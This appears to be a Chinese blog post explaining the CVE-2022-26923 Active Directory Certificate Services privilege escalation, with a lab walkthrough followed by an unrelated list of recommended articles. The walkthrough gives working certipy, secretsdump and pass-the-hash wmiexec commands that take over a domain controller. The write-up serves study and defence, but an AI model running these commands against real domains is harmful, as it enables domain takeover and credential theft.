CVE-2022-26923域提权漏洞

参考链接:
http://www.ctfiot.com/40081.html
https://tryhackme.com/room/cve202226923
https://www.bilibili.com/video/BV1hL4y1F79y?spm_id_from=333.337.search-card.all.click
https://github.com/ly4k/Certipy

1.漏洞背景

Windows Active Directory (AD) 不仅用于身份和访问管理,还提供大量服务来帮助您运行和管理您的组织,其中一项服务是 Active Directory 证书服务 (AD CS)。
AD CS 是 Microsoft 的公钥基础结构 ( PKI ) 实施。 AD 在组织中提供了一定程度的信任,因此它可以用作 CA 来证明和委托信任。AD CS 用于多种用途,例如加密文件系统、创建和验证数字签名,甚至是用户身份验证,这使其成为攻击者的有前途的途径。使其成为更危险的攻击媒介的原因在于,证书可以在凭证轮换中幸存下来,这意味着即使重置了受攻击帐户的密码,也不会使恶意生成的证书无效,证书请求和生成的流程:

AD证书注册流程:要从 AD CS 获取证书,客户端需要经过⼀个称为注册的过程。概括地说,在注册期间,客户端⾸先根据活动目录 Enrollment Services 容器中的对象找到企业 CA。然后,客户端⽣成⼀个公钥/私钥对,并将公钥、证书主题和证书模板名称等其他详细信息⼀起放⼊证书签名请求(CSR)消息中。然后,客户端使⽤其私钥签署 CSR,并将 CSR 发送到企业 CA 服务器。CA 服务器检查客户端是否可以请求证书。如果是,它会通过查找 CSR 中指定的证书模板 AD 对象来确定是否会颁发证书。CA 将检查证书模板 AD 对象的权限是否允许该账户获取证书。如果是,CA 将使用证书模板定义的 “蓝图” 设置(例如,EKU、加密设置和颁发要求等)并使用 CSR 中提供的其他信息(如果证书的模板设置允许)生成证书。CA 使用其私钥签署证书,然后将其返回给客户端。CA 颁发的证书可以提供加密(例如,加密⽂件系统)、数字签名(例如,代码签名)和⾝份验证(例如,对 AD)等多种服务。

2.漏洞原理

默认情况下,域用户可以注册 User 证书模板,域计算机可以注册 Machine 证书模板。两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,用户帐户的用户主体名称(User Principal Name,UPN)将嵌入到证书中以进行识别,这个UPN是唯一的,UPN的值为:用户名@AD域名,不可能同时存在两个具有相同UPN的用户,User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值(用户名@AD域名)添加到已颁发证书的主题备用名称中。但是Machine证书模板没有UPN属性,那么计算机在使用证书进行身份验证时,是靠什么识别认证账户的呢?会发现证书模板的 msPKI-Certificate-Name-Flag 属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS 标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。也就是说,当计算机账户申请证书时,计算机的 DNS 属性值将被嵌入到证书中以进行识别。到此,漏洞产生的原因就出来了,dNSHostName属性值不唯一,通过User用户创建Machine账户,将Machine账户(具有写入权限)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,欺骗AD CS申请到域控制器的AD证书。但是servicePrincipalName属性具有唯一性,它包含dNSHostName,如果dNSHonstName发生改变会带动servicePrintcipalName的RestrictedKrbHost和Host发生改变,由于唯一性会发生报错,所以想要漏洞完成漏洞要删除账户中的servicePrincipalName属性值。

3.利用过程

实验环境:

主机:windows server 2019,带有域环境,并安装AD CS服务。域计算机全名:cat7.test.local域:test.localIp:192.168.0.107普通用户:test1:ABCabc!
Kali:Ip:192.168.105
实验环境下,要在kali上做域的域名映射,编写/etc/hosts文件,写域和域主机ip的对应关系。

漏洞存在:
可以使用bloodhound内网渗透工具,通过低权限账号利用采集器脚本进行信息收集,如果发现存在CERTIFICATE SERVICE 组则可以进行尝试。

提权步骤:

1.泄露低权限ad用户的凭据
2.使用凭据在域中注册新的主机
使用低权限用户生成证书:

certipy req 'test.local/test1:ABCabc!@cat7.test.local' -ca  test-cat7-ca -template User

Test-cat7-CA 是域名-主机名-CA
通过certipy用kerberos验证是否有效:

certipy auth -pfx test1.pfx

将计算机AD对象的DNS主机名属性更改为特权主机的主机名属性
申请hostname和域控一样的test4的账号:

certipy account create 'test.local/test1:ABCabc!@cat7.test.local' -user "test4" -dns "cat7.test.local"

账号会自动加“$”符号,并返回账户密码。
3.删除归因绕过唯一SPN冲突的问题SPN
应该通过工具在第三步完成了
4.使用默认模板请求机器证书
请求Machine证书:

certipy req 'test.local/test4$:sQLNmotDspqSga1A@cat7.test.local' -ca test-cat7-ca -template Machine

可以看到此时的证书不是test4.pfx,是主机名cat7.pfx,颁发的是域控制器的计算机账户证书。
5.使用收到的模块执行kerberos身份验证,然后就可以作为特权机器账户了
解析票据:

certipy auth -pfx cat7.pfx

获得hash值。
通过域控制器的计算机账户证书获得administrator的hash值。

secretsdump.py 'test.local/cat7$@cat7.test.local' -hashes 66c32f13f89a8ce3e32ff249d0630d62:66c32f13f89a8ce3e32ff249d0630d62

得到主机的控制权限:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:890b06b9397f4ae4b2d55d878132ec9a ADMINISTRATOR@192.168.0.107

4.流量分析

整个过程从字节流来看都是乱码或者加密,也能看到有cmd.exe相关字节,流量采用SMB2(encrypted SMB3)和TLS协议,只能看到使用SMB协议在两主机间每次登录的用户发生了变化。


5.修补方案

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

CVE-2022-26923域提权漏洞相关推荐

  1. Windows域提权漏洞CVE-2021-442287

    漏洞描述 Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权 ...

  2. CVE-2022-21882 Win32k内核提权漏洞深入分析

    CVE-2022-21882漏洞是Windows系统的一个本地提权漏洞,微软在2022年1月份安全更新中修补此漏洞.本文章对漏洞成因及利用程序进行了详细的分析. 漏洞介绍 CVE-2022-21882 ...

  3. Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328

    Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328 文章目录 Linux Privilege Esca ...

  4. Apache 服务器存在高危提权漏洞,请升级至最新版本 2.4.39

    百度智能云 云生态狂欢季 热门云产品1折起>>>   Apache HTTP 服务器于4月1日发布了最新的稳定版本 2.4.39,主要是修复安全问题.点此进行下载. 在发布更新不久后 ...

  5. linux内核通用提权漏洞expliot 脏牛Dirty COW

    0x01 漏洞简介 Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射.一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可 ...

  6. sqlite字段是否存在_【漏洞预警】Linux内核存在本地提权漏洞(CVE20198912)

    更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn) 漏洞背景 近日,Linux git中发布一个commit补丁,该补丁对应的漏洞是一个本地 ...

  7. Linux sudo 被曝提权漏洞,任意用户均能以 root 身份运行命令

    Linux 用户请注意!根据外媒的报道,Linux sudo 被曝出存在一个提权漏洞,可完全绕过 sudo 的安全策略. 先简单说明一下情况,报道指出 sudo 存在一个安全策略隐患,即便" ...

  8. cve-2014-7911安卓提权漏洞分析

    小荷才露尖尖角 · 2015/05/22 10:41 0x00 简介 CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用 ...

  9. Snap 程序包管理器被爆Linux 提权漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Canonical 公司旗下产品 Snap 软件封装和部署系统中出现多个漏洞,其中最严重漏洞可被用于提权,获得root权限. Snaps 是自包 ...

最新文章

  1. 微软招聘研究实习生,base美国or加拿大
  2. Nginx配置——搭建 Nginx 高可用集群(双机热备)
  3. 修改Eclipse发布路劲(Deploy path)
  4. 适配器模式和外观模式
  5. c#连接远程sqlserver2008_C#用代码控制网络断开与重连
  6. WEB前端技术趋势图示-JS库
  7. matlab如何把选中区域标亮
  8. windows下jenkins slave 搭建
  9. CV Code | 本周新出计算机视觉开源代码汇总(含实例分割、行人检测、姿态估计、神经架构搜索、超分辨率等)...
  10. android app打开另一个app并触发按钮_Android进程调度:Low memory killer(4)修改版
  11. 为什么喜欢软件工程专业_为什么我喜欢自由软件
  12. 我对python的理解_python之我对装饰器的理解
  13. 数据库主从延迟导致查询不准确的解决思路
  14. matlab符号运算转置出现conj的解决办法
  15. 什么是微前端及微前端优缺点
  16. #从零开始学HCIA起步
  17. ffmpeg批量提取mp4视频文件中的音频
  18. react and reduct 学习手记1
  19. 20222808郭锦城 2022-2023-2 《网络攻防实践》第10次作业
  20. Maven 入门教程

热门文章

  1. 怎样微信扫描二维码跳转页面,H5页面在微信中下载APP的实现方式
  2. Set、List和数组互相转换
  3. 为什么我的Android Studio没有Android SDK选项
  4. 黑马旅游网-邮箱激活(三)
  5. 网络编辑要学些什么技能?
  6. cc2530点对点通信c语言,CC2530 RF部分使用 ——实现点对点收发
  7. Android蓝牙初始名称修改(高通平台)
  8. NEXTCLOUD+onlyoffice的搭建和使用
  9. A. Parsa‘s Humongous Tree(树形DP + 贪心)
  10. 利川计算机培训,利川云计算培训,利川计算机培训有哪些,利川计算机培训完工作好找吗 - IT教育频道...